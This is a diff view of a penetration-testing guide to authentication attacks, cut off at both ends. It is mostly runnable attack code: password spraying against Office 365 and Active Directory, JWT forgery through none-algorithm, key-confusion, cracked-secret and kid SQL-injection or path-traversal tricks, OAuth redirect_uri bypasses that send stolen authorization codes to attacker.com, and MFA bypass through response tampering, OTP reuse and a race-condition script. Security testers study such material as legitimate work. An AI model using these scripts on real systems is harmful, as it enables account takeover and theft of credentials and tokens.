print(f"\nHits saved to /tmp/spray_hits.txt")
|
|
267
|
+
EOF
|
|
268
|
+
|
|
269
|
+
# Azure AD / Office 365 spraying with MSOLSpray
|
|
270
|
+
python3 MSOLSpray.py --userlist users.txt --password 'Spring2024!' \
|
|
271
|
+
--out /tmp/o365_hits.txt
|
|
272
|
+
|
|
273
|
+
# Kerbrute for Active Directory environments
|
|
274
|
+
./kerbrute passwordspray -d target.local --dc 10.10.10.1 users.txt 'Spring2024!'
|
|
275
|
+
|
|
276
|
+
# GoSpray for web applications
|
|
277
|
+
gospray -users users.txt -passwords passwords.txt \
|
|
278
|
+
-url https://target.com/login \
|
|
279
|
+
-data "username={{user}}&password={{pass}}" \
|
|
280
|
+
-success "dashboard" -delay 30
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
---
|
|
284
|
+
|
|
285
|
+
### 3.3 JWT Attack Workflow
|
|
286
|
+
|
|
287
|
+
#### 3.3.1 JWT Inspection and Decoding
|
|
288
|
+
|
|
289
|
+
**Step 1 — Capture and decode JWT**
|
|
290
|
+
|
|
291
|
+
```bash
|
|
292
|
+
# Decode without verification (base64)
|
|
293
|
+
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDAwMDAwMDB9.SIGNATURE"
|
|
294
|
+
|
|
295
|
+
# Decode header
|
|
296
|
+
echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool
|
|
297
|
+
|
|
298
|
+
# Decode payload
|
|
299
|
+
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
|
|
300
|
+
|
|
301
|
+
# Using jwt_tool
|
|
302
|
+
python3 jwt_tool.py $TOKEN
|
|
303
|
+
|
|
304
|
+
# Using jq pipeline
|
|
305
|
+
echo $TOKEN | cut -d. -f2 | base64 --decode 2>/dev/null | jq .
|
|
306
|
+
```
|
|
307
|
+
|
|
308
|
+
**Step 2 — Enumerate JWT configuration**
|
|
309
|
+
|
|
310
|
+
```bash
|
|
311
|
+
# Check if the server accepts unsigned tokens
|
|
312
|
+
# Try none algorithm first
|
|
313
|
+
python3 jwt_tool.py $TOKEN -X a
|
|
314
|
+
|
|
315
|
+
# Check algorithm in header
|
|
316
|
+
echo $TOKEN | cut -d. -f1 | base64 -d | jq -r '.alg'
|
|
317
|
+
|
|
318
|
+
# Run all jwt_tool checks
|
|
319
|
+
python3 jwt_tool.py $TOKEN -t https://target.com/api/profile \
|
|
320
|
+
-rh "Authorization: Bearer *TOKEN*" -M at
|
|
321
|
+
```
|
|
322
|
+
|
|
323
|
+
#### 3.3.2 None Algorithm Attack
|
|
324
|
+
|
|
325
|
+
**Step 1 — Forge token with none algorithm**
|
|
326
|
+
|
|
327
|
+
```bash
|
|
328
|
+
# Using jwt_tool (automated)
|
|
329
|
+
python3 jwt_tool.py $TOKEN -X a
|
|
330
|
+
|
|
331
|
+
# Manual Python approach
|
|
332
|
+
python3 - <<'EOF'
|
|
333
|
+
import base64, json
|
|
334
|
+
|
|
335
|
+
def b64url_encode(data):
|
|
336
|
+
if isinstance(data, str):
|
|
337
|
+
data = data.encode()
|
|
338
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
339
|
+
|
|
340
|
+
# Modified header
|
|
341
|
+
header = {"alg": "none", "typ": "JWT"}
|
|
342
|
+
# Modified payload - escalate role
|
|
343
|
+
payload = {"sub": "1234", "role": "admin", "exp": 9999999999}
|
|
344
|
+
|
|
345
|
+
h = b64url_encode(json.dumps(header, separators=(',', ':')))
|
|
346
|
+
p = b64url_encode(json.dumps(payload, separators=(',', ':')))
|
|
347
|
+
|
|
348
|
+
# None algorithm = no signature
|
|
349
|
+
forged = f"{h}.{p}."
|
|
350
|
+
print(f"Forged token:\n{forged}")
|
|
351
|
+
EOF
|
|
352
|
+
|
|
353
|
+
# Test with curl
|
|
354
|
+
FORGED="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0Iiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ."
|
|
355
|
+
curl -H "Authorization: Bearer $FORGED" https://target.com/api/admin
|
|
356
|
+
```
|
|
357
|
+
|
|
358
|
+
**Step 2 — Test variations of none**
|
|
359
|
+
|
|
360
|
+
```bash
|
|
361
|
+
# Servers may be case-sensitive or check exact string
|
|
362
|
+
for alg in "none" "None" "NONE" "nOnE" "NoNe"; do
|
|
363
|
+
python3 - <<PYEOF
|
|
364
|
+
import base64, json
|
|
365
|
+
|
|
366
|
+
def b64url_encode(data):
|
|
367
|
+
if isinstance(data, str): data = data.encode()
|
|
368
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
369
|
+
|
|
370
|
+
header = {"alg": "$alg", "typ": "JWT"}
|
|
371
|
+
payload = {"sub": "1234", "role": "admin", "exp": 9999999999}
|
|
372
|
+
h = b64url_encode(json.dumps(header, separators=(',', ':')))
|
|
373
|
+
p = b64url_encode(json.dumps(payload, separators=(',', ':')))
|
|
374
|
+
print(f"$alg: {h}.{p}.")
|
|
375
|
+
PYEOF
|
|
376
|
+
done
|
|
377
|
+
```
|
|
378
|
+
|
|
379
|
+
#### 3.3.3 RS256 to HS256 Algorithm Confusion Attack
|
|
380
|
+
|
|
381
|
+
This attack exploits servers that use the same key for both RSA verification and HMAC secret. The attacker uses the public RSA key as the HMAC secret.
|
|
382
|
+
|
|
383
|
+
**Step 1 — Obtain the server's RSA public key**
|
|
384
|
+
|
|
385
|
+
```bash
|
|
386
|
+
# Method 1: JWKS endpoint (most common)
|
|
387
|
+
curl -s https://target.com/.well-known/jwks.json | jq .
|
|
388
|
+
curl -s https://target.com/auth/.well-known/jwks.json | jq .
|
|
389
|
+
curl -s https://target.com/api/auth/jwks | jq .
|
|
390
|
+
|
|
391
|
+
# Common JWKS paths to try
|
|
392
|
+
for path in \
|
|
393
|
+
"/.well-known/jwks.json" \
|
|
394
|
+
"/jwks.json" \
|
|
395
|
+
"/auth/jwks" \
|
|
396
|
+
"/oauth/jwks" \
|
|
397
|
+
"/.well-known/openid-configuration"; do
|
|
398
|
+
echo -n "$path: "
|
|
399
|
+
curl -s -o /dev/null -w "%{http_code}" https://target.com$path
|
|
400
|
+
echo
|
|
401
|
+
done
|
|
402
|
+
|
|
403
|
+
# Method 2: Extract from existing JWT if embedded (x5c claim)
|
|
404
|
+
echo $TOKEN | cut -d. -f1 | base64 -d | jq -r '.x5c[0]' | \
|
|
405
|
+
openssl x509 -pubkey -noout 2>/dev/null
|
|
406
|
+
|
|
407
|
+
# Method 3: SSL certificate public key (sometimes reused)
|
|
408
|
+
echo | openssl s_client -connect target.com:443 2>/dev/null | \
|
|
409
|
+
openssl x509 -pubkey -noout > /tmp/server_pub.pem
|
|
410
|
+
|
|
411
|
+
# Method 4: Derive from two JWTs (if you have multiple tokens)
|
|
412
|
+
# Use rsa_sign2n tool
|
|
413
|
+
python3 rsa_sign2n/rsa_sign2n.py $TOKEN1 $TOKEN2
|
|
414
|
+
```
|
|
415
|
+
|
|
416
|
+
**Step 2 — Convert JWKS public key to PEM**
|
|
417
|
+
|
|
418
|
+
```python
|
|
419
|
+
# Convert JWK to PEM format
|
|
420
|
+
python3 - <<'EOF'
|
|
421
|
+
import json, base64
|
|
422
|
+
from cryptography.hazmat.primitives.asymmetric import rsa
|
|
423
|
+
from cryptography.hazmat.primitives import serialization
|
|
424
|
+
from cryptography.hazmat.backends import default_backend
|
|
425
|
+
|
|
426
|
+
# Paste your JWK here
|
|
427
|
+
jwk = {
|
|
428
|
+
"kty": "RSA",
|
|
429
|
+
"n": "PASTE_N_VALUE_HERE",
|
|
430
|
+
"e": "AQAB"
|
|
431
|
+
}
|
|
432
|
+
|
|
433
|
+
def b64url_decode(s):
|
|
434
|
+
s += '=' * (4 - len(s) % 4)
|
|
435
|
+
return base64.urlsafe_b64decode(s)
|
|
436
|
+
|
|
437
|
+
n = int.from_bytes(b64url_decode(jwk['n']), 'big')
|
|
438
|
+
e = int.from_bytes(b64url_decode(jwk['e']), 'big')
|
|
439
|
+
|
|
440
|
+
public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend())
|
|
441
|
+
pem = public_key.public_bytes(
|
|
442
|
+
encoding=serialization.Encoding.PEM,
|
|
443
|
+
format=serialization.PublicFormat.SubjectPublicKeyInfo
|
|
444
|
+
)
|
|
445
|
+
print(pem.decode())
|
|
446
|
+
with open('/tmp/server_pub.pem', 'wb') as f:
|
|
447
|
+
f.write(pem)
|
|
448
|
+
print("Saved to /tmp/server_pub.pem")
|
|
449
|
+
EOF
|
|
450
|
+
```
|
|
451
|
+
|
|
452
|
+
**Step 3 — Forge HS256 token signed with the RSA public key**
|
|
453
|
+
|
|
454
|
+
```bash
|
|
455
|
+
# Using jwt_tool (automated - recommended)
|
|
456
|
+
python3 jwt_tool.py $TOKEN -X k -pk /tmp/server_pub.pem
|
|
457
|
+
|
|
458
|
+
# Manual Python approach
|
|
459
|
+
python3 - <<'EOF'
|
|
460
|
+
import base64, json, hmac, hashlib
|
|
461
|
+
|
|
462
|
+
def b64url_encode(data):
|
|
463
|
+
if isinstance(data, str): data = data.encode()
|
|
464
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
465
|
+
|
|
466
|
+
# Read public key bytes as the HMAC secret
|
|
467
|
+
with open('/tmp/server_pub.pem', 'rb') as f:
|
|
468
|
+
secret = f.read()
|
|
469
|
+
|
|
470
|
+
# Forge header with HS256
|
|
471
|
+
header = {"alg": "HS256", "typ": "JWT"}
|
|
472
|
+
# Forge payload with elevated privileges
|
|
473
|
+
payload = {"sub": "1234", "role": "admin", "exp": 9999999999}
|
|
474
|
+
|
|
475
|
+
h = b64url_encode(json.dumps(header, separators=(',', ':')))
|
|
476
|
+
p = b64url_encode(json.dumps(payload, separators=(',', ':')))
|
|
477
|
+
signing_input = f"{h}.{p}".encode()
|
|
478
|
+
|
|
479
|
+
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
|
|
480
|
+
s = b64url_encode(sig)
|
|
481
|
+
|
|
482
|
+
forged = f"{h}.{p}.{s}"
|
|
483
|
+
print(f"Forged HS256 token (signed with RSA public key):")
|
|
484
|
+
print(forged)
|
|
485
|
+
EOF
|
|
486
|
+
|
|
487
|
+
# Test the forged token
|
|
488
|
+
curl -H "Authorization: Bearer $FORGED_TOKEN" \
|
|
489
|
+
https://target.com/api/admin/users -v
|
|
490
|
+
```
|
|
491
|
+
|
|
492
|
+
**Step 4 — Modify payload claims before forging**
|
|
493
|
+
|
|
494
|
+
```bash
|
|
495
|
+
# Common payload modifications
|
|
496
|
+
python3 - <<'EOF'
|
|
497
|
+
import base64, json
|
|
498
|
+
|
|
499
|
+
def b64url_decode(s):
|
|
500
|
+
s += '=' * (4 - len(s) % 4)
|
|
501
|
+
return base64.urlsafe_b64decode(s).decode()
|
|
502
|
+
|
|
503
|
+
token = "YOUR_TOKEN_HERE"
|
|
504
|
+
payload_b64 = token.split('.')[1]
|
|
505
|
+
payload = json.loads(b64url_decode(payload_b64))
|
|
506
|
+
print("Original payload:", json.dumps(payload, indent=2))
|
|
507
|
+
|
|
508
|
+
# Modifications to try:
|
|
509
|
+
# payload['role'] = 'admin'
|
|
510
|
+
# payload['sub'] = '1' # often admin user
|
|
511
|
+
# payload['user_id'] = 0 # SQL admin bypass
|
|
512
|
+
# payload['is_admin'] = True
|
|
513
|
+
# payload['scope'] = 'admin read write'
|
|
514
|
+
# payload['groups'] = ['admin', 'superuser']
|
|
515
|
+
# payload['exp'] = 9999999999 # extend expiry
|
|
516
|
+
EOF
|
|
517
|
+
```
|
|
518
|
+
|
|
519
|
+
#### 3.3.4 Weak Secret Attack (HS256)
|
|
520
|
+
|
|
521
|
+
**Step 1 — Extract JWT for cracking**
|
|
522
|
+
|
|
523
|
+
```bash
|
|
524
|
+
# jwt_tool scan for weak secrets
|
|
525
|
+
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
|
|
526
|
+
|
|
527
|
+
# hashcat JWT cracking
|
|
528
|
+
echo $TOKEN > /tmp/jwt.txt
|
|
529
|
+
hashcat -a 0 -m 16500 /tmp/jwt.txt /usr/share/wordlists/rockyou.txt \
|
|
530
|
+
--potfile-path /tmp/jwt.pot -O
|
|
531
|
+
|
|
532
|
+
# john the ripper
|
|
533
|
+
john --format=HMAC-SHA256 /tmp/jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
|
534
|
+
|
|
535
|
+
# Custom wordlist for JWT secrets
|
|
536
|
+
cat > /tmp/jwt_secrets.txt <<'SECRETS'
|
|
537
|
+
secret
|
|
538
|
+
password
|
|
539
|
+
123456
|
|
540
|
+
jwt_secret
|
|
541
|
+
mysecret
|
|
542
|
+
supersecret
|
|
543
|
+
your-256-bit-secret
|
|
544
|
+
your-secret-key
|
|
545
|
+
secret123
|
|
546
|
+
jwt-secret
|
|
547
|
+
jwtpassword
|
|
548
|
+
hs256secret
|
|
549
|
+
SECRETS
|
|
550
|
+
|
|
551
|
+
hashcat -a 0 -m 16500 /tmp/jwt.txt /tmp/jwt_secrets.txt -O --show
|
|
552
|
+
```
|
|
553
|
+
|
|
554
|
+
**Step 2 — Forge after cracking**
|
|
555
|
+
|
|
556
|
+
```python
|
|
557
|
+
python3 - <<'EOF'
|
|
558
|
+
import jwt # PyJWT
|
|
559
|
+
|
|
560
|
+
secret = "secret123" # cracked secret
|
|
561
|
+
payload = {"sub": "1", "role": "admin", "exp": 9999999999}
|
|
562
|
+
|
|
563
|
+
token = jwt.encode(payload, secret, algorithm="HS256")
|
|
564
|
+
print(f"Forged token: {token}")
|
|
565
|
+
EOF
|
|
566
|
+
```
|
|
567
|
+
|
|
568
|
+
#### 3.3.5 JWT kid Parameter Injection
|
|
569
|
+
|
|
570
|
+
The `kid` (Key ID) header parameter is used to select a verification key. If it's passed unsanitized to a database query or filesystem read, it can be injected.
|
|
571
|
+
|
|
572
|
+
**Step 1 — Identify kid usage**
|
|
573
|
+
|
|
574
|
+
```bash
|
|
575
|
+
# Decode JWT header to find kid
|
|
576
|
+
echo $TOKEN | cut -d. -f1 | base64 -d | python3 -m json.tool
|
|
577
|
+
# Look for: "kid": "some-key-id"
|
|
578
|
+
```
|
|
579
|
+
|
|
580
|
+
**Step 2 — SQL injection via kid**
|
|
581
|
+
|
|
582
|
+
```bash
|
|
583
|
+
# Inject SQL to make the server use a known value as the key
|
|
584
|
+
# If the query is: SELECT secret FROM keys WHERE kid = '<KID>'
|
|
585
|
+
# Inject: ' UNION SELECT 'hacked'-- -
|
|
586
|
+
|
|
587
|
+
# The server will use 'hacked' as the HMAC secret
|
|
588
|
+
# Sign your token with 'hacked' as the secret
|
|
589
|
+
|
|
590
|
+
python3 - <<'EOF'
|
|
591
|
+
import base64, json, hmac, hashlib
|
|
592
|
+
|
|
593
|
+
def b64url_encode(data):
|
|
594
|
+
if isinstance(data, str): data = data.encode()
|
|
595
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
596
|
+
|
|
597
|
+
# kid payload with SQL injection
|
|
598
|
+
header = {
|
|
599
|
+
"alg": "HS256",
|
|
600
|
+
"typ": "JWT",
|
|
601
|
+
"kid": "' UNION SELECT 'hacked'-- -"
|
|
602
|
+
}
|
|
603
|
+
payload = {"sub": "1", "role": "admin", "exp": 9999999999}
|
|
604
|
+
|
|
605
|
+
h = b64url_encode(json.dumps(header, separators=(',', ':')))
|
|
606
|
+
p = b64url_encode(json.dumps(payload, separators=(',', ':')))
|
|
607
|
+
signing_input = f"{h}.{p}".encode()
|
|
608
|
+
|
|
609
|
+
secret = b"hacked"
|
|
610
|
+
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
|
|
611
|
+
s = b64url_encode(sig)
|
|
612
|
+
print(f"{h}.{p}.{s}")
|
|
613
|
+
EOF
|
|
614
|
+
|
|
615
|
+
# jwt_tool kid injection
|
|
616
|
+
python3 jwt_tool.py $TOKEN -I -hc kid -hv "' UNION SELECT 'hacked'-- -" \
|
|
617
|
+
-S hs256 -p "hacked"
|
|
618
|
+
```
|
|
619
|
+
|
|
620
|
+
**Step 3 — Path traversal via kid**
|
|
621
|
+
|
|
622
|
+
```bash
|
|
623
|
+
# If kid is used to read a key file: /keys/<kid>
|
|
624
|
+
# Inject path traversal to use /dev/null (empty key) or a known file
|
|
625
|
+
|
|
626
|
+
python3 - <<'EOF'
|
|
627
|
+
import base64, json, hmac, hashlib
|
|
628
|
+
|
|
629
|
+
def b64url_encode(data):
|
|
630
|
+
if isinstance(data, str): data = data.encode()
|
|
631
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
632
|
+
|
|
633
|
+
# Point to /dev/null — empty string as HMAC key
|
|
634
|
+
header = {
|
|
635
|
+
"alg": "HS256",
|
|
636
|
+
"typ": "JWT",
|
|
637
|
+
"kid": "../../../../../../dev/null"
|
|
638
|
+
}
|
|
639
|
+
payload = {"sub": "1", "role": "admin", "exp": 9999999999}
|
|
640
|
+
|
|
641
|
+
h = b64url_encode(json.dumps(header, separators=(',', ':')))
|
|
642
|
+
p = b64url_encode(json.dumps(payload, separators=(',', ':')))
|
|
643
|
+
signing_input = f"{h}.{p}".encode()
|
|
644
|
+
|
|
645
|
+
# Empty secret (from /dev/null)
|
|
646
|
+
secret = b""
|
|
647
|
+
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
|
|
648
|
+
s = b64url_encode(sig)
|
|
649
|
+
print(f"Path traversal token:\n{h}.{p}.{s}")
|
|
650
|
+
EOF
|
|
651
|
+
|
|
652
|
+
# Common path traversal kid payloads
|
|
653
|
+
# "../../dev/null"
|
|
654
|
+
# "../../../etc/passwd"
|
|
655
|
+
# "/proc/self/fd/0"
|
|
656
|
+
# "../../../../../../../../dev/null"
|
|
657
|
+
```
|
|
658
|
+
|
|
659
|
+
---
|
|
660
|
+
|
|
661
|
+
### 3.4 OAuth 2.0 Misconfiguration Workflow
|
|
662
|
+
|
|
663
|
+
#### 3.4.1 Reconnaissance
|
|
664
|
+
|
|
665
|
+
**Step 1 — Discover OAuth endpoints**
|
|
666
|
+
|
|
667
|
+
```bash
|
|
668
|
+
# Check OpenID Connect discovery document
|
|
669
|
+
curl -s https://target.com/.well-known/openid-configuration | jq .
|
|
670
|
+
curl -s https://auth.target.com/.well-known/openid-configuration | jq .
|
|
671
|
+
|
|
672
|
+
# Extract key endpoints
|
|
673
|
+
curl -s https://target.com/.well-known/openid-configuration | jq '{
|
|
674
|
+
auth_endpoint: .authorization_endpoint,
|
|
675
|
+
token_endpoint: .token_endpoint,
|
|
676
|
+
jwks_uri: .jwks_uri,
|
|
677
|
+
userinfo_endpoint: .userinfo_endpoint
|
|
678
|
+
}'
|
|
679
|
+
|
|
680
|
+
# Find OAuth flows in JavaScript
|
|
681
|
+
curl -s https://target.com/app.js | grep -i 'redirect_uri\|client_id\|oauth\|authorize'
|
|
682
|
+
|
|
683
|
+
# Capture OAuth flow in Burp and analyze parameters
|
|
684
|
+
# Look for: client_id, redirect_uri, scope, state, code_challenge
|
|
685
|
+
```
|
|
686
|
+
|
|
687
|
+
#### 3.4.2 redirect_uri Bypass
|
|
688
|
+
|
|
689
|
+
**Step 1 — Identify the registered redirect_uri**
|
|
690
|
+
|
|
691
|
+
```bash
|
|
692
|
+
# The redirect_uri appears in the authorization URL
|
|
693
|
+
# https://auth.target.com/authorize?
|
|
694
|
+
# client_id=abc&
|
|
695
|
+
# redirect_uri=https://target.com/callback&
|
|
696
|
+
# response_type=code&
|
|
697
|
+
# scope=openid
|
|
698
|
+
|
|
699
|
+
ORIGINAL_URI="https://target.com/callback"
|
|
700
|
+
```
|
|
701
|
+
|
|
702
|
+
**Step 2 — Test redirect_uri bypass techniques**
|
|
703
|
+
|
|
704
|
+
```bash
|
|
705
|
+
BASE_AUTH="https://auth.target.com/authorize?client_id=abc&response_type=code&scope=openid"
|
|
706
|
+
|
|
707
|
+
# Technique 1: Open redirect on the registered domain
|
|
708
|
+
# If target.com/redirect?url= is an open redirect
|
|
709
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/redirect?url=https://attacker.com"
|
|
710
|
+
|
|
711
|
+
# Technique 2: Path traversal
|
|
712
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback/../evil"
|
|
713
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback/../../evil"
|
|
714
|
+
|
|
715
|
+
# Technique 3: Different path under same domain
|
|
716
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/different-path"
|
|
717
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback.evil.com"
|
|
718
|
+
|
|
719
|
+
# Technique 4: Subdomain variations
|
|
720
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://evil.target.com/callback"
|
|
721
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com.evil.com/callback"
|
|
722
|
+
|
|
723
|
+
# Technique 5: Protocol variations
|
|
724
|
+
curl -v "${BASE_AUTH}&redirect_uri=http://target.com/callback" # HTTP instead of HTTPS
|
|
725
|
+
curl -v "${BASE_AUTH}&redirect_uri=JavaScript://target.com/callback" # JS URI
|
|
726
|
+
|
|
727
|
+
# Technique 6: URL encoding bypass
|
|
728
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com%2Fcallback"
|
|
729
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback%00.evil.com"
|
|
730
|
+
|
|
731
|
+
# Technique 7: Port confusion
|
|
732
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com:8443/callback"
|
|
733
|
+
|
|
734
|
+
# Technique 8: Localhost bypass (dev/staging leftover)
|
|
735
|
+
curl -v "${BASE_AUTH}&redirect_uri=http://localhost/callback"
|
|
736
|
+
curl -v "${BASE_AUTH}&redirect_uri=http://127.0.0.1/callback"
|
|
737
|
+
|
|
738
|
+
# Technique 9: Wildcard misuse
|
|
739
|
+
# If registered: https://target.com/*
|
|
740
|
+
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback/../../attacker.com"
|
|
741
|
+
```
|
|
742
|
+
|
|
743
|
+
**Step 3 — Steal the authorization code**
|
|
744
|
+
|
|
745
|
+
```bash
|
|
746
|
+
# Set up a listener on attacker.com
|
|
747
|
+
# The auth code will appear in the URL when the victim clicks a link
|
|
748
|
+
|
|
749
|
+
# Example attack URL to send to victim:
|
|
750
|
+
echo "https://auth.target.com/authorize?client_id=abc&response_type=code&scope=openid&redirect_uri=https://target.com/redirect?url=https://attacker.com&state=csrf123"
|
|
751
|
+
|
|
752
|
+
# On attacker.com, capture the code parameter from:
|
|
753
|
+
# GET /? code=AUTH_CODE_HERE&state=csrf123
|
|
754
|
+
|
|
755
|
+
# Exchange code for tokens
|
|
756
|
+
curl -X POST https://auth.target.com/token \
|
|
757
|
+
-d "grant_type=authorization_code" \
|
|
758
|
+
-d "code=AUTH_CODE_HERE" \
|
|
759
|
+
-d "redirect_uri=https://attacker.com" \
|
|
760
|
+
-d "client_id=abc" \
|
|
761
|
+
-d "client_secret=secret_if_known"
|
|
762
|
+
```
|
|
763
|
+
|
|
764
|
+
#### 3.4.3 State Parameter CSRF
|
|
765
|
+
|
|
766
|
+
```bash
|
|
767
|
+
# If state parameter is missing or predictable, CSRF attack is possible
|
|
768
|
+
# Step 1: Initiate OAuth flow without state
|
|
769
|
+
# Step 2: Capture the authorization URL
|
|
770
|
+
# Step 3: Victim clicks the URL (while already logged into the OAuth provider)
|
|
771
|
+
# Step 4: Victim's account gets linked to attacker's identity
|
|
772
|
+
|
|
773
|
+
# Test: Does removing state parameter work?
|
|
774
|
+
curl -v "https://auth.target.com/authorize?client_id=abc&redirect_uri=https://target.com/callback&response_type=code&scope=openid"
|
|
775
|
+
# (no state parameter)
|
|
776
|
+
```
|
|
777
|
+
|
|
778
|
+
#### 3.4.4 PKCE Downgrade Attack
|
|
779
|
+
|
|
780
|
+
```bash
|
|
781
|
+
# PKCE (Proof Key for Code Exchange) prevents code interception
|
|
782
|
+
# If the server doesn't enforce PKCE, downgrade by omitting it
|
|
783
|
+
|
|
784
|
+
# Normal PKCE request includes:
|
|
785
|
+
# code_challenge=BASE64URL(SHA256(code_verifier))
|
|
786
|
+
# code_challenge_method=S256
|
|
787
|
+
|
|
788
|
+
# Downgrade: Remove code_challenge parameters
|
|
789
|
+
curl -v "https://auth.target.com/authorize?\
|
|
790
|
+
client_id=abc&\
|
|
791
|
+
redirect_uri=https://target.com/callback&\
|
|
792
|
+
response_type=code&\
|
|
793
|
+
scope=openid"
|
|
794
|
+
# (no code_challenge or code_challenge_method)
|
|
795
|
+
|
|
796
|
+
# If server returns a code without requiring PKCE verification,
|
|
797
|
+
# you can exchange the code without the code_verifier:
|
|
798
|
+
curl -X POST https://auth.target.com/token \
|
|
799
|
+
-d "grant_type=authorization_code" \
|
|
800
|
+
-d "code=STOLEN_CODE" \
|
|
801
|
+
-d "redirect_uri=https://target.com/callback" \
|
|
802
|
+
-d "client_id=abc"
|
|
803
|
+
# (no code_verifier required)
|
|
804
|
+
```
|
|
805
|
+
|
|
806
|
+
#### 3.4.5 Token Leakage via Referrer
|
|
807
|
+
|
|
808
|
+
```bash
|
|
809
|
+
# If response_type=token (implicit flow), the token is in the URL fragment
|
|
810
|
+
# Check if the application leaks the token via Referrer header
|
|
811
|
+
|
|
812
|
+
# Look for requests made FROM the callback page with token in URL
|
|
813
|
+
# In Burp: Search HTTP history for "access_token=" in request URLs
|
|
814
|
+
|
|
815
|
+
# Also check:
|
|
816
|
+
# - Browser history
|
|
817
|
+
# - Server access logs (if accessible)
|
|
818
|
+
# - JavaScript that reads window.location.hash and passes it to third-party analytics
|
|
819
|
+
|
|
820
|
+
curl -s https://target.com/dashboard | grep -i 'analytics\|gtm\|ga\.\|pixel'
|
|
821
|
+
```
|
|
822
|
+
|
|
823
|
+
---
|
|
824
|
+
|
|
825
|
+
### 3.5 MFA Bypass Workflow
|
|
826
|
+
|
|
827
|
+
#### 3.5.1 Response Manipulation
|
|
828
|
+
|
|
829
|
+
**Step 1 — Capture the MFA verification request in Burp**
|
|
830
|
+
|
|
831
|
+
```
|
|
832
|
+
POST /api/mfa/verify HTTP/1.1
|
|
833
|
+
Host: target.com
|
|
834
|
+
Content-Type: application/json
|
|
835
|
+
|
|
836
|
+
{"code": "123456"}
|
|
837
|
+
|
|
838
|
+
Response (failure):
|
|
839
|
+
{"success": false, "message": "Invalid code"}
|
|
840
|
+
|
|
841
|
+
Response (success):
|
|
842
|
+
{"success": true, "redirect": "/dashboard"}
|
|
843
|
+
```
|
|
844
|
+
|
|
845
|
+
**Step 2 — Intercept and modify the response**
|
|
846
|
+
|
|
847
|
+
```
|
|
848
|
+
In Burp Proxy:
|
|
849
|
+
1. Enable "Intercept responses" (Options > Intercept Client Responses)
|
|
850
|
+
2. Submit wrong OTP code (e.g., 000000)
|
|
851
|
+
3. Intercept the failure response
|
|
852
|
+
4. Change: {"success": false} to {"success": true}
|
|
853
|
+
5. Forward modified response
|
|
854
|
+
6. Observe if application grants access
|
|
855
|
+
|
|
856
|
+
Also try:
|
|
857
|
+
- Change HTTP status code from 200 to 302
|
|
858
|
+
- Add "redirect" field: {"success": false, "redirect": "/dashboard"}
|
|
859
|
+
- Remove error field: {} (empty JSON)
|
|
860
|
+
```
|
|
861
|
+
|
|
862
|
+
**Step 3 — Automate with Burp Repeater rule**
|
|
863
|
+
|
|
864
|
+
```
|
|
865
|
+
Burp > Project Options > Match and Replace:
|
|
866
|
+
- Type: Response body
|
|
867
|
+
- Match: "success":false
|
|
868
|
+
- Replace: "success":true
|
|
869
|
+
```
|
|
870
|
+
|
|
871
|
+
#### 3.5.2 OTP Code Reuse
|
|
872
|
+
|
|
873
|
+
```bash
|
|
874
|
+
# Test if OTP codes can be reused within the validity window
|
|
875
|
+
# Step 1: Get a valid OTP code from your authenticator app
|
|
876
|
+
# Step 2: Use it to log in successfully
|
|
877
|
+
# Step 3: Immediately try to use the SAME code again
|
|
878
|
+
|
|
879
|
+
curl -X POST https://target.com/api/mfa/verify \
|
|
880
|
+
-H "Cookie: session=CAPTURED_SESSION" \
|
|
881
|
+
-d '{"code": "123456"}'
|
|
882
|
+
|
|
883
|
+
# Wait 30 seconds (OTP window boundary) and try again
|
|
884
|
+
sleep 31
|
|
885
|
+
curl -X POST https://target.com/api/mfa/verify \
|
|
886
|
+
-H "Cookie: session=CAPTURED_SESSION" \
|
|
887
|
+
-d '{"code": "123456"}'
|
|
888
|
+
|
|
889
|
+
# Also test: can you use the PREVIOUS OTP window code?
|
|
890
|
+
# TOTP generates codes in 30s windows; try the code from t-30 seconds
|
|
891
|
+
```
|
|
892
|
+
|
|
893
|
+
#### 3.5.3 Race Condition OTP Bypass
|
|
894
|
+
|
|
895
|
+
```bash
|
|
896
|
+
# Send multiple simultaneous requests with the same OTP
|
|
897
|
+
# If the server doesn't properly lock before consuming the OTP,
|
|
898
|
+
# multiple requests might succeed
|
|
899
|
+
|
|
900
|
+
# Python race condition exploit
|
|
901
|
+
python3 - <<'EOF'
|
|
902
|
+
import requests, threading, time
|
|
903
|
+
|
|
904
|
+
TARGET = "https://target.com/api/mfa/verify"
|
|
905
|
+
SESSION_COOKIE = "session=CAPTURED_SESSION_AFTER_PASSWORD"
|
|
906
|
+
OTP_CODE = "123456" # Valid OTP
|
|
907
|
+
NUM_THREADS = 20
|
|
908
|
+
|
|
909
|
+
results = []
|
|
910
|
+
lock = threading.Lock()
|
|
911
|
+
|
|
912
|
+
